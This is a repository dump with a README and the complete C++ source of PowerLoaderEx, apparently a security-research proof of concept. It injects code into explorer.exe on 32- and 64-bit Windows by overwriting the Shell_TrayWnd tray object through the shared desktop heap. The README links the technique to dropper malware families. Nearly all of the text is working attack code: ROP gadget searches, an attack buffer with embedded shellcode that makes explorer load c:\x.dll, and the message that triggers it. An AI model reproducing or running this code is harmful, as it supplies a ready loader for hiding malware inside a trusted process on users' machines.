├── README.md └── PowerLoaderEx.cpp /README.md: -------------------------------------------------------------------------------- 1 | # PowerLoaderEx 2 | * Advanced Code Injection Technique for x32 / x64 3 | * More Info: http://goo.gl/3CdZHw 4 | 5 | # Original PowerLoader 6 | * Known since ~2013 7 | * Loader used in many different dropper families (Gapz / Redyms / Carberp / Vabushky ...) 8 | * First injection technique via Return Oriented Programming technique (ROP). 9 | * “explorer.exe” is injected using Shell_TrayWnd / NtQueueApcThread (32bit / 64bit) 10 | 11 | # PowerLoaderEx 12 | * Injection via shared desktop heap 13 | * Remove dependency in Explorer.exe shared sections (more generic) 14 | * Injection without reading memory from the target process 15 | * 32 and 64-bit versions (same technique) 16 | 17 | #Tested Environments 18 | * Windows 7 32 and 64 bit. 19 | 20 | # Authors 21 | * BreakingMalware.com 22 | -------------------------------------------------------------------------------- /PowerLoaderEx.cpp: -------------------------------------------------------------------------------- 1 | // PowerLoaderEx.cpp : Defines the entry point for the application. 2 | // 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #pragma comment(lib, "Shlwapi.lib") 10 | #define MAX_LOADSTRING 100 11 | TCHAR szTitle[MAX_LOADSTRING] = _T("PowerLoaderEx"); // The title bar text 12 | TCHAR szWindowClass[MAX_LOADSTRING] = _T("PowerLoaderExCls"); // the main window class name 13 | 14 | // Forward declarations of functions included in this code module: 15 | ATOM MyRegisterClass(HINSTANCE hInstance); 16 | BOOL InjectExplorer(HWND myWnd); 17 | 18 | int APIENTRY _tWinMain(_In_ HINSTANCE hInstance, 19 | _In_opt_ HINSTANCE hPrevInstance, 20 | _In_ LPTSTR lpCmdLine, 21 | _In_ int nCmdShow) 22 | { 23 | UNREFERENCED_PARAMETER(hPrevInstance); 24 | UNREFERENCED_PARAMETER(lpCmdLine); 25 | 26 | // Initialize global strings 27 | MyRegisterClass(hInstance); 28 | 29 | // Perform application initialization: 30 | HWND hWnd; 31 | 32 | hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW, 33 | CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, NULL, NULL, hInstance, NULL); 34 | 35 | if (!hWnd) 36 | { 37 | return FALSE; 38 | } 39 | 40 | LoadLibrary(_T("Shell32.dll")); 41 | InjectExplorer(hWnd); 42 | Sleep(1000); 43 | TerminateProcess(NULL, 1); 44 | return TRUE; 45 | } 46 | 47 | PBYTE SearchMemory(PBYTE Start, SIZE_T Size, PBYTE Buffer, SIZE_T BufLen) 48 | { 49 | while (Size > BufLen) 50 | { 51 | if (memcmp(Start, Buffer, BufLen) == 0) 52 | { 53 | return Start; 54 | } 55 | 56 | Start++; 57 | Size--; 58 | } 59 | return NULL; 60 | } 61 | 62 | PBYTE ExpressionSearchMemory(PBYTE Start, SIZE_T Size, PBYTE Buffer, SIZE_T BufLen) 63 | { 64 | while (Size > BufLen) 65 | { 66 | UINT i = 0; 67 | for (; i < BufLen; i++) 68 | { 69 | if (Buffer[i] == '?') 70 | { 71 | continue; 72 | } 73 | else if (Buffer[i] != Start[i]) 74 | { 75 | break; 76 | } 77 | } 78 | if (i >= BufLen) 79 | { 80 | return Start; 81 | } 82 | 83 | Start++; 84 | Size--; 85 | } 86 | return NULL; 87 | } 88 | 89 | 90 | const TCHAR *ModulesList[] = { _T("ntdll.dll"), _T("kernel32.dll"), _T("kernelbase.dll"), _T("user32.dll"), _T("shell32.dll"), NULL }; 91 | 92 | #define EXACT_GADGET 1 93 | #define EXPRESSION_GADGET 2 94 | 95 | typedef struct _GADGET { 96 | const CHAR *Gadget; 97 | UINT Len; 98 | const TCHAR *Module; 99 | PVOID ModuleBase; 100 | SIZE_T Offset; 101 | UINT Type; 102 | } GADGET, *PGADGET; 103 | 104 | GADGET Gadgets[] = { 105 | #ifdef _WIN64 106 | { "\xC3", 2, NULL, NULL, 0, EXACT_GADGET }, 107 | #else 108 | { "\xFD\xC3", 2, NULL, NULL, 0, EXACT_GADGET }, /*std,ret;*/ 109 | { "\xFC\xC3", 2, NULL, NULL, 0, EXACT_GADGET }, /*cld,ret;*/ 110 | { "\x58\xc3", 2, NULL, NULL, 0, EXACT_GADGET }, /*pop rax,ret;*/ 111 | { "\xFF\xE0", 2, NULL, NULL, 0, EXACT_GADGET }, /*jmp rax*/ 112 | { "\xb9\x94\x00\x00\x00\xf3\xa5\x5f\x33\xc0\x5e\x5d\xc2\x08\x00", 15, NULL, NULL, 0, EXACT_GADGET }, 113 | { "\xff\xd0\xc3", 3, NULL, NULL, 0, EXACT_GADGET }, /*call rbx,ret;*/ 114 | #endif 115 | { NULL, 0, NULL, NULL, 0 } 116 | }; 117 | 118 | #define GADGET_ADDRESS(g) ((SIZE_T)(g).ModuleBase + (SIZE_T)(g).Offset) 119 | 120 | BOOL FindGadgets(HANDLE TargetProcess) 121 | { 122 | UINT i = 0; 123 | UINT j = 0; 124 | HMODULE Module; 125 | const TCHAR *ModuleName = NULL; 126 | MEMORY_BASIC_INFORMATION MemInfo = { 0 }; 127 | PBYTE RegionStart; 128 | PBYTE GadgetStart; 129 | BOOL FoundGadget = FALSE; 130 | TCHAR Name[MAX_PATH + 1] = { 0 }; 131 | 132 | while (Gadgets[i].Gadget) 133 | { 134 | j = 0; 135 | 136 | FoundGadget = FALSE; 137 | 138 | while (!FoundGadget && ModulesList[j]) 139 | { 140 | Module = GetModuleHandle(ModulesList[j]); 141 | 142 | RegionStart = (PBYTE)Module; 143 | 144 | while (!FoundGadget && VirtualQuery(RegionStart, &MemInfo, sizeof(MemInfo)) && MemInfo.AllocationBase == (PVOID)Module) 145 | { 146 | if (MemInfo.State == MEM_COMMIT && MemInfo.Type == MEM_IMAGE && (MemInfo.Protect == PAGE_EXECUTE || MemInfo.Protect == PAGE_EXECUTE_READ)) 147 | { 148 | if (Gadgets[i].Type == EXACT_GADGET) 149 | { 150 | GadgetStart = SearchMemory((PBYTE)MemInfo.BaseAddress, MemInfo.RegionSize, (PBYTE)Gadgets[i].Gadget, Gadgets[i].Len); 151 | } 152 | else 153 | { 154 | GadgetStart = ExpressionSearchMemory((PBYTE)MemInfo.BaseAddress, MemInfo.RegionSize, (PBYTE)Gadgets[i].Gadget, Gadgets[i].Len); 155 | } 156 | if (GadgetStart) 157 | { 158 | Gadgets[i].Module = ModulesList[j]; 159 | Gadgets[i].ModuleBase = Module; 160 | Gadgets[i].Offset = (SIZE_T)GadgetStart - (SIZE_T)Module; 161 | 162 | FoundGadget = TRUE; 163 | break; 164 | 165 | } 166 | } 167 | RegionStart += MemInfo.RegionSize; 168 | } 169 | 170 | j++; 171 | } 172 | 173 | if (!FoundGadget) 174 | { 175 | return FALSE; 176 | } 177 | i++; 178 | } 179 | return TRUE; 180 | } 181 | 182 | 183 | #define NUM_OF_MAGICS 4 184 | ULONG Magics[NUM_OF_MAGICS] = { 0xABABABAB, 0xCDCDCDCD, 0xABABABAB, 0xCDCDCDCD }; 185 | 186 | 187 | PVOID FindProecssDesktopHeap(HANDLE ProecssHandle, SIZE_T HeapSize) 188 | { 189 | BYTE *Addr = (BYTE*)0x1000; 190 | MEMORY_BASIC_INFORMATION MemInfo = { 0 }; 191 | ULONG OldProt = 0; 192 | 193 | while (VirtualQueryEx(ProecssHandle, Addr, &MemInfo, sizeof(MemInfo))) 194 | { 195 | if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT && MemInfo.RegionSize == HeapSize) 196 | { 197 | // Double check. 198 | if (!VirtualProtectEx(ProecssHandle, Addr, 0x1000, PAGE_READWRITE, &OldProt)) 199 | { 200 | return MemInfo.BaseAddress; 201 | } 202 | else 203 | { 204 | VirtualProtectEx(ProecssHandle, Addr, 0x1000, OldProt, &OldProt); 205 | } 206 | } 207 | Addr += MemInfo.RegionSize; 208 | } 209 | 210 | return NULL; 211 | } 212 | 213 | 214 | PVOID FindDesktopHeap(HWND myWnd, SIZE_T *MagicOffset, SIZE_T *size) 215 | { 216 | MEMORY_BASIC_INFORMATION MemInfo = { 0 }; 217 | BYTE *Addr = (BYTE*)0x1000; 218 | PBYTE tmp; 219 | ULONG OldProt = 0; 220 | 221 | // insert the magic we will look for. 222 | for (UINT i = 0; i < NUM_OF_MAGICS; i++) 223 | { 224 | SetLastError(0); 225 | SetWindowLong(myWnd, i*sizeof(ULONG), Magics[i]); 226 | if (GetLastError() != 0) 227 | { 228 | return NULL; 229 | } 230 | } 231 | // Try to find the magics. 232 | while (VirtualQuery(Addr, &MemInfo, sizeof(MemInfo))) 233 | { 234 | if (MemInfo.Protect = PAGE_READONLY && MemInfo.Type == MEM_MAPPED && MemInfo.State == MEM_COMMIT) 235 | { 236 | tmp = SearchMemory((PBYTE)MemInfo.BaseAddress, MemInfo.RegionSize, (PBYTE)Magics, sizeof(Magics)); 237 | if (tmp && !VirtualProtect(Addr, 0x1000, PAGE_READWRITE, &OldProt)) 238 | { 239 | // return section information. 240 | *size = MemInfo.RegionSize; 241 | *MagicOffset = (SIZE_T)tmp - (SIZE_T)MemInfo.AllocationBase; 242 | return MemInfo.BaseAddress; 243 | } 244 | } 245 | Addr += MemInfo.RegionSize; 246 | } 247 | 248 | return NULL; 249 | } 250 | 251 | #ifdef _WIN64 252 | #define _fnINSTRINGNULL_INDEX 0x1a 253 | PVOID BuildAttackBuffer(HWND window, PVOID ExplorerSharedHeap, SIZE_T WindowBufferOffset) 254 | { 255 | PVOID LoadLibraryAddr = (PVOID)GetProcAddress(LoadLibrary(_T("kernel32.dll")), "LoadLibraryA"); 256 | UINT CurrIndex = 0; 257 | 258 | // Get the callback table. 259 | PTEB Teb = NtCurrentTeb(); 260 | PBYTE Peb = (PBYTE)Teb->ProcessEnvironmentBlock; 261 | PVOID* CallbackTable = *(PVOID**)((PBYTE)Peb + 0x58); 262 | PVOID TargetFunction = CallbackTable[_fnINSTRINGNULL_INDEX]; 263 | 264 | #define SET_LONG(value) SetWindowLongPtr(window, CurrIndex*8, (LONG_PTR)value);CurrIndex++; 265 | SET_LONG((SIZE_T)ExplorerSharedHeap + WindowBufferOffset + 0x10); 266 | SET_LONG(0); // Must be zero 267 | SET_LONG(TargetFunction); // Make it point to target function 268 | SET_LONG(GADGET_ADDRESS(Gadgets[0])); // This should point to ret 269 | SET_LONG(GADGET_ADDRESS(Gadgets[0])); // This should point to ret 270 | SET_LONG(ExplorerSharedHeap + WindowBufferOffset + (CurrIndex+5)*8); // This should point to the library to load 271 | SET_LONG(5); 272 | SET_LONG(6); 273 | SET_LONG(7); 274 | SET_LONG(LoadLibraryAddr); // This is the LoadLibraryFunction 275 | 276 | // Now we write the library to load 277 | SET_LONG(0x6c6c642e785c3a63); // This is c:\\x.dll 278 | SET_LONG(0); 279 | 280 | #undef SET_LONG 281 | 282 | return (PVOID)((SIZE_T)ExplorerSharedHeap + WindowBufferOffset); 283 | } 284 | 285 | #else 286 | 287 | PVOID BuildAttackBuffer(HWND window, PVOID ExplorerSharedHeap, SIZE_T WindowBufferOffset) 288 | { 289 | PVOID KiUserApcDispatcher = (PVOID)GetProcAddress(LoadLibrary(_T("ntdll.dll")), "KiUserApcDispatcher"); 290 | PVOID WriteProcessMemory = (PVOID)GetProcAddress(LoadLibrary(_T("kernel32.dll")), "WriteProcessMemory"); 291 | PVOID ntchkstk = (PVOID)GetProcAddress(LoadLibrary(_T("ntdll.dll")), "_chkstk"); 292 | PVOID atan = (PVOID)GetProcAddress(LoadLibrary(_T("ntdll.dll")), "atan"); 293 | PVOID LoadLibraryAddr = (PVOID)GetProcAddress(LoadLibrary(_T("kernel32.dll")), "LoadLibraryA"); 294 | UINT CurrIndex = 0; 295 | UINT returnedIdx = 0; 296 | UINT ShellcodeAddrIndx = 0; 297 | UINT ShellcodeStartIndx = 0; 298 | UINT LoadedLibraryStrIndx = 0; 299 | #define SET_LONG(value) SetWindowLong(window, CurrIndex*4, (ULONG)value);CurrIndex++; 300 | SET_LONG(GADGET_ADDRESS(Gadgets[5]) + 2); // call eax ret 301 | SET_LONG(0xFFFFFFFF); // Current process 302 | SET_LONG(atan); // where to write 303 | ShellcodeAddrIndx = CurrIndex; 304 | SET_LONG(1); // what to write 305 | SET_LONG(0x70); // how much to write 306 | SET_LONG(0); // where to write the bytes written. 307 | SET_LONG(atan); // Run shellcode. 308 | SET_LONG(6); // where to land. 309 | SET_LONG(7); 310 | SET_LONG(8); 311 | SET_LONG(9); 312 | SET_LONG(10); 313 | SET_LONG(11); 314 | SET_LONG(12); 315 | SET_LONG(13); 316 | SET_LONG(14); 317 | SET_LONG(15); 318 | SET_LONG(16); 319 | SET_LONG(17); 320 | SET_LONG(18); 321 | SET_LONG(0); 322 | SET_LONG(GADGET_ADDRESS(Gadgets[1])); 323 | SET_LONG(0); 324 | SET_LONG(0); 325 | SET_LONG(GADGET_ADDRESS(Gadgets[2])); 326 | SET_LONG(0x70); 327 | SET_LONG(ntchkstk); 328 | SET_LONG(WriteProcessMemory); 329 | returnedIdx = CurrIndex; 330 | SET_LONG((SIZE_T)ExplorerSharedHeap + WindowBufferOffset + (CurrIndex + 4) * 4); 331 | SET_LONG(0); 332 | SET_LONG(0); 333 | SET_LONG(0); 334 | SET_LONG(KiUserApcDispatcher); 335 | SET_LONG(GADGET_ADDRESS(Gadgets[4])); 336 | SET_LONG(GADGET_ADDRESS(Gadgets[0])); 337 | LoadedLibraryStrIndx = CurrIndex; 338 | SET_LONG(0x785c3a63); 339 | SET_LONG(0x6c6c642e); // This is c:\\x.dll 340 | SET_LONG(0); 341 | ShellcodeStartIndx = CurrIndex; 342 | SET_LONG(0x68909090); 343 | SET_LONG((SIZE_T)ExplorerSharedHeap + WindowBufferOffset + LoadedLibraryStrIndx * 4); 344 | SET_LONG(0xb8909090); 345 | SET_LONG((LONG)LoadLibraryAddr); 346 | SET_LONG(0x9090d0ff); 347 | SET_LONG(0xc35cc483); // Fix stack and return 348 | SetWindowLong(window, ShellcodeAddrIndx * 4, (SIZE_T)ExplorerSharedHeap + WindowBufferOffset + ShellcodeStartIndx * 4); 349 | #undef SET_LONG 350 | 351 | return (PVOID)((SIZE_T)ExplorerSharedHeap + WindowBufferOffset + returnedIdx * 4); 352 | 353 | } 354 | #endif 355 | 356 | DWORD GetExplorerPID() 357 | { 358 | HANDLE hProcessSnap; 359 | PROCESSENTRY32 pe32 = { 0 }; 360 | DWORD Pid = 0; 361 | 362 | hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 363 | if (hProcessSnap == INVALID_HANDLE_VALUE) 364 | { 365 | return 0; 366 | } 367 | 368 | pe32.dwSize = sizeof(PROCESSENTRY32); 369 | 370 | if (!Process32First(hProcessSnap, &pe32)) 371 | { 372 | return 0; 373 | } 374 | 375 | do 376 | { 377 | if (_tcscmp(pe32.szExeFile, _T("explorer.exe")) == 0) 378 | { 379 | Pid = pe32.th32ProcessID; 380 | break; 381 | } 382 | } while (Process32Next(hProcessSnap, &pe32)); 383 | 384 | CloseHandle(hProcessSnap); 385 | if (Pid == 0) 386 | { 387 | return 0; 388 | } 389 | 390 | return Pid; 391 | } 392 | 393 | BOOL InjectExplorer(HWND myWnd) 394 | { 395 | BOOL ret = TRUE; 396 | PVOID CTrayObj; 397 | PVOID DesktopHeapBase = NULL; 398 | PVOID ExplorerDesktopHeap = NULL; 399 | SIZE_T SharedHeapSize = NULL; 400 | SIZE_T WindowBufferOffset = NULL; 401 | HANDLE ExplorerHandle = NULL; 402 | DWORD pid; 403 | 404 | // Find the desktop heap in the current process 405 | DesktopHeapBase = FindDesktopHeap(myWnd, &WindowBufferOffset, &SharedHeapSize); 406 | 407 | if (!DesktopHeapBase) 408 | { 409 | ret = FALSE; 410 | goto clean; 411 | } 412 | 413 | // Get the PID for explorer.exe 414 | pid = GetExplorerPID(); 415 | 416 | if (!pid) 417 | { 418 | ret = FALSE; 419 | goto clean; 420 | } 421 | 422 | // Open explorer.exe 423 | ExplorerHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION, FALSE, pid); 424 | 425 | if (!ExplorerHandle) 426 | { 427 | ret = FALSE; 428 | goto clean; 429 | } 430 | 431 | #ifndef _WIN64 432 | // Find required Gadgets on 64 bit. 433 | if (!FindGadgets(ExplorerHandle)) 434 | { 435 | ret = FALSE; 436 | goto clean; 437 | } 438 | #endif 439 | 440 | // Find Explorer's desktop heap 441 | ExplorerDesktopHeap = FindProecssDesktopHeap(ExplorerHandle, SharedHeapSize); 442 | 443 | if (!ExplorerDesktopHeap) 444 | { 445 | ret = FALSE; 446 | goto clean; 447 | } 448 | 449 | // Find the target window 450 | HWND hShellTrayWnd = FindWindow(_T("Shell_TrayWnd"), NULL); 451 | 452 | if (!hShellTrayWnd) 453 | { 454 | ret = FALSE; 455 | goto clean; 456 | } 457 | 458 | // Get the CTray object 459 | CTrayObj = (PVOID)GetWindowLongPtr(hShellTrayWnd, 0); 460 | 461 | if (!hShellTrayWnd) 462 | { 463 | ret = FALSE; 464 | goto clean; 465 | } 466 | 467 | // Build the attack buffer on the window. 468 | PVOID MaliciousCTrayObj = BuildAttackBuffer(myWnd, ExplorerDesktopHeap, WindowBufferOffset); 469 | 470 | // Overwrite the CTray Object 471 | SetWindowLongPtr(hShellTrayWnd, 0, (LONG_PTR)MaliciousCTrayObj); 472 | 473 | // Trigger the injection 474 | SendNotifyMessage(hShellTrayWnd, WM_PAINT, 0xABABABAB, 0); 475 | 476 | // Wait For It 477 | Sleep(1000); 478 | 479 | // Restore Old Object 480 | SetWindowLongPtr(hShellTrayWnd, 0, (LONG_PTR)CTrayObj); 481 | 482 | clean: 483 | if (ExplorerHandle) 484 | { 485 | CloseHandle(ExplorerHandle); 486 | } 487 | 488 | return ret; 489 | } 490 | 491 | 492 | ATOM MyRegisterClass(HINSTANCE hInstance) 493 | { 494 | WNDCLASSEX wcex; 495 | 496 | wcex.cbSize = sizeof(WNDCLASSEX); 497 | 498 | wcex.style = CS_HREDRAW | CS_VREDRAW; 499 | wcex.lpfnWndProc = DefWindowProc; 500 | wcex.cbClsExtra = 0; 501 | wcex.cbWndExtra = 0x200; 502 | wcex.hInstance = hInstance; 503 | wcex.hIcon = NULL; 504 | wcex.hCursor = LoadCursor(NULL, IDC_ARROW); 505 | wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1); 506 | wcex.lpszMenuName = NULL; 507 | wcex.lpszClassName = szWindowClass; 508 | wcex.hIconSm = NULL; 509 | 510 | return RegisterClassEx(&wcex); 511 | } 512 | 513 | --------------------------------------------------------------------------------